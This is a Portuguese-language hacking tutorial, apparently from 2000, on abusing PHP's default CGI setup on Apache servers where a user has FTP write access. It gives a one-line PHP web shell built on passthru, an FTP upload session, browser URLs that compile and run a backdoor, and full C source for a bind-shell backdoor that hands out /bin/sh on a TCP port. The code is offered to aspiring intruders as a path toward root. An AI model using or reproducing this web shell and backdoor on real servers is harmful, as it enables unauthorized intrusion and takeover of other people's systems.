O truque do CGI (PHP)

Alguns pre-requisitos se fazem necessarios para o total entendimento deste artigo, dentre os quais se destacam, conhecimento basico de PHP-CGI, Linux, FTP e HTTP.


                      |  O TRUQUE DO CGI(PHP)   |
                       -------------------------

---------------------------------INDICE-------------------------------------

1 - INTRODUCAO.
2 - POSSIVEIS TRUQUES.

2.1 - Pre - Requesitos
2.2 - Criando o PHP-CGI
2.3 - Executando a Tecnica
3 - TERMINANDO.

3.1 - Links e Referencias.
3.2 - Consideracoes Finais.



1 - INTRODUCAO |

A tecnica que pretendo descrever aqui nao eh nova.Eh amplamente divulgada na internet, mas por algum motivo, eh meio que 'desprezada'.Muitos servidores costumam liberar acesso a publicacao de home pages atraves de ftp(sem acesso a shell).Acontece que se o servidor em questao disponibiliza algum tipo de cgi, e nao seta corretamente o uso do diretorio aonde um cgi se torna executavel o sistema alvo corre serio risco.O Esquema que pretendo disponibilizar aqui eh valido em sistemas Linux(expansivel a outros),WEB SERVER Apache(tendo ou nao Stronghold), e principalmente PHP instalado(diga-se mal configurado!). Pouco tempo atras, foi disponibilizado na web um documento chamado "how.defaced.apache.org.txt/" que descrevia passo a passo a tecnica usada por esses caras para invadir o servidor e depois mudar a hp de lah.Voce pode encontrar este texto na packetstorm(http://packetstorm.securify.com), Nesse arquivo texto tem algo muito interessante, eh o seguinte:

/*

  • In short: */ - ftproot==webroot, worldwritable dirs allowing us to upload and execute php3 scripts - mysqld running as root, with a FULL RIGHTS login without a password.

Notaram algo interessante aih?? "diretorios wordlwritable(todo mundo pode escrever) que nos permite enviar e """executar""" php3 scripts.Quando eu lih isso fiquei mais do que intrigado.Um membro do Unsekurity Team jah havia comentado comigo que 'permissao para executar cgi eh a mesma coisa que dar shell', mas o pessoal da apache ia configurar mal seu proprio servidor??? O problema nao estah nem nunca esteve no apache,o problema consiste que a instalacao default(padrao) do PHP faz com que se possa executar qualquer script php em qualquer diretorio na maquina local.Nao importa qual seja o WEB SERVER, o problema estah na instalacao padrao do PHP.A versao atual(PHP 4.0.0) tambem possui esse tipo de configuracao default.Os caras que alteraram aquela pagina(a do apache) nao divulgaram isso, nao me pergunte por que.:) 
Como PHP eh uma linguagem versatil, scripts cgi em PHP nos dao inumeras chances de obter sucesso em varios tipos de investidas por aih.


2 - POSSIVEIS TRUQUES |

Nesse item serah abordado como eh o funcionamento passo a passo da tecnica para se conseguir execucao de comando shell na maquina alvo.

2.1 - Pre - Requesitos

Antes de mais nada, conhecimentos basicos de PHP-CGI, Linux, FTP e HTTP.No host alvo, voce precisa ter permissao para algumas coisas, dentre elas: poder mandar arquivos(ter permissao de escrita num diretorio), o host alvo necessita estar com PHP instalado e com configuracao padrao, ou seja, mal-configurado(Nos ultimos dias tive 100% de sucesso!!),os esquemas que testei foram em servidor Apache(1.3.6, 1.3.9, 1.3.12) e Apache nas versoes acima citadas com Stronghold 2.4 , 2.4.1, 2.4.2, As versoes do PHP foram a 3.0.12, 3.0.14 e 4.0.0.De qualquer forma,veja e pesquise se as versoes e as permissoes estao disponiveis para uma investida e implementacao bem sucedida desta tecnica.Citarei aqui esquemas para o Linux(AIX,HP-UX,BSDs confirmados tambem), de modo que, podem muito bem serem extendidos para outros SOs.Se voce possui acesso a ftp com conta,mas sem shell, num host com as configuracoes acima setadas, voce pode testar perfeitamente.

2.2 - Criando o php-cgi


PHP eh uma linguagem interpretada, assim como PERL, SHELL Script e etc. Ela eh voltada para aplicacoes na Internet, mais especificamente WEB. Conheco muito pouco de cgis, de modo que nao irei ensinar nada sobre PHP-CGI.O exemplo descrito nesse texto dos caras que invadiram lah pode ser usado, veja:


<?
passthru($cmd);
?>

Todo PHP-CGI comeca com "<?" e termina com "?>" de modo que os comandos devem estar compreendidos entre essas duas instrucoes.Esse php eh suficiente para execucao de comando em shell, essa instrucao "passthru" eh equivalente a "system" e retorna dados obtidos com a execucao dela.

2.3 - Executando a Tecnica

Se voce tiver acesso ao httpd.conf do apache, seria muito bom.Lah tem as definicoes dos php-cgis que podem ser executados no sistema(php ou php3), e tambem tem o nome do diretorio padrao para o apache ler as paginas dos usuarios(geralmente eh public_html), se voce nao conseguir este arquivo (ele ateh diria se o servidor alvo pode estar vuln ou nao), tente na marra,criando um diretorio public_html no dir aonde tem escrita.A tecnica consiste no envio do cgi executando os parametros que desejarmos.Voce pode enviar uma backdoor que binda uma shell como usuario comum(nobody), (Exemplo: a backdoor que disponibilizo no tutorial de sockets que binda uma porta TCP).Em seguida via http mandar o sistema compilar a backdoor, veremos passo a passo, abaixo:

[seuhost]# ftp host_alvo

ftp> mkdir public_html
257 "/home/usuario/public_html" new directory created. ftp> cd public_html
250 CWD command successful.
ftp> mkdir cgi
257 "/home/usuario/public_html/cgi" new directory created. ftp> chmod 777 cgi
200 CHMOD command successful.
ftp> cd cgi
250 CWD command successful.
ftp> put nlback.c
local: nlback.c remote: nlback.c
200 PORT command successful.
150 Opening BINARY mode data connection for t.c. 226 Transfer complete.
1230 bytes sent in 1.00221 secs (1.4e+02 Kbytes/sec) ftp> put out.php
local: out.php remote: out.php
200 PORT command successful.
150 Opening BINARY mode data connection for out.php. 226 Transfer complete.
22 bytes sent in 0.00121 secs (2 Kbytes/sec) ftp> exit

Depois eh soh mandar compilar a backdor via Browser:

http://servidor/~usuario/cgi/outphp.php?cmd=gcc+-o+nlback+nlback.c

E depois executar a backdoor:

http://servidor/~usuario/cgi/outphp.php?cmd=./nlback

Pronto, voce possui uma porta aberta, entao, basta telnet pra ela.Lah dentro voce tenta obter root por outros meios.Leia o esquema dos caras, quem sabe voce pode se deparar com mais configuracoes defaults.Vai uma backdoor que binda shell aih, pode ser melhorada perfeitamente:

------------------------------nlback.c-----------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#define ERRO -1
/* Mude o numero da porta abaixo */
#define PORTA 20000

int binda(){
int Meusocket;
int tamanho, conector;
struct sockaddr_in hacker;
struct sockaddr_in vitima;
char engana[50];
if(fork() == 0){
vitima.sin_family=AF_INET;
vitima.sin_addr.s_addr= htonl(INADDR_ANY); vitima.sin_port= htons(PORTA);
bzero(&(vitima.sin_zero), 8);
Meusocket = socket(AF_INET,SOCK_STREAM,0); if(Meusocket < 0){
fprintf(stderr,"Erro em socket()!n");
exit(ERRO);

}
bind(Meusocket,(struct sockaddr *)&vitima,sizeof(vitima)); if(bind < 0){
fprintf(stderr,"Erro em bind()!n");
exit(ERRO);

listen(Meusocket,2);
tamanho = sizeof(hacker);
conector=accept(Meusocket,(struct sockaddr *)&hacker,&tamanho);

if(conector < 0){
fprintf(stderr,"Erro em accept()!n");

}
dup2(conector,0);
dup2(conector,1);
dup2(conector,2);
execl("/bin/sh","sh",0);

}
}

main(){
binda();
}


3 - TERMINANDO


Eu pesquisei um pouco sobre isso internet a fora, e ateh o exato momento, nao encontrei documentos falando mesmo sobre isso.A instalacao do PHP alerta sobre esse perigo, de modo que, nao se trata de nenhum bug e sim de uma mal-configuracao por parte do administrador.Existem varios esquemas iguais a esses(programas mal-configurados por default) e aos poucos nos iremos mostrar mais alguns, os tutoriais que estao a caminho tem consumido muito tempo de modo que estamos sem tempo para fazer algo mais 'descente' e entendivel que isto aqui.

3.1 - Links e Referencias

  • Sobre PHP:

http://www.php.net/ -> HP oficial do PHP.:)..Eles alertam, os admins

eh que sao preguicosos.

http://tutorial.virtualave.net/ -> Procure algo sobre cgis.

http://packetstorm.securify.com/ -> Voce pode achar o texto dos caras

que invadiram a www.apache.org/.

http://www.apache.org/ -> Sem sombra de duvida o melhor WEB Server que

existe.

http://www.int.c2.net/ -> Implementacao SSL para o Apache(StrongHold).

  • Home pages atuais do Unsekurity Team:

http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/

  • Outros Links muito interessantes:

http://www.bufferoverflow.org/
http://www.hacker.com.br/
http://www.taldowin.com.br/
http://www.securenet.com.br/

3.2 - Consideracoes Finais


Sem duvida que obter acesso a execucao de um cgi eh um passo enorme em direcao a execucao de comandos shell e consequentemente obtencao de root. O que descrevo nesse artigo nao eh algo novo, longe disso, para um fucador, toda e qualquer tecnica eh vantajosa, e essa nao foge a regra.Amigo,Newbie, assim como o problema do frontpage(mal-configurado por default) ainda eh atual, apesar de ser uma vulnerabilidade antiga, essa do PHP eh realmente muito comprometedora, por isso, amigo, nao vah fazer bobagens.

Agradecimentos a todos do Unsekurity Team e ao pessoal que vem acompanhando nossas publicacoes e dando apoio e contribuindo de alguma forma.

Nash Leon


  • Atualizacoes *

29.05.00:

No dia 27.05.00 tomamos a iniciativa de divulgar este problema para a comunidade de seguranca, de forma suscinta, esperando ver a reacao da mesma frente a esse problema.Tres mail lists foram contactadas(e varios webforums),dentre elas a infoseg(representante da cert aqui no brasil), ateh o exato momento somente 1 mail list expos nosso email(security-net) e ateh entao nenhum comentario a respeito.Enquanto o tempo vai passando,no underground, o tutorial vem sendo amplamente divulgado.Eu andei pesquisando mais redes e procurando ver como esse problema pode ser maior expandido, e nas minhas investidas ateh o exato momento, somente 1 rede estava 'segura', ou seja, o PHP estava instalado, mas nao instalado com a configuracao padrao e sim com os diretorios devidamente setados(ateh que enfim um admin responsavel????:)).Como ateh o exato momento a seguranca nao tem dado a minima inportancia, vou expandir mais os possiveis esquemas:

+ Como foi descrito pelos caras que invadiram o servidor da apache.org, diretorios ftproot==webroot com direito a escrita estao tambem sujeitos a implementacao da tecnica.

+ Servidores samba que permitem a montagem de diretorios com home pages, ou diretorios com permissao de acessos via http tambem podem estar sujeitos a implementacao da tecnica.

+ Servidores NFS que como no item acima, permitem a montagem de diretorios com home pages ou diretorios com permissao de acessos via http tambem estao suscetiveis a implementacao da tecnica.

+ Servidores de ftp que se utilizam de mirrors, podem facilmente serem enganados, caso os mirrors jah tenham sido 'invadidos'.

Creio que existam mais tecnicas possiveis de serem implementadas ainda. Sem mais.

Nash Leon


Tags: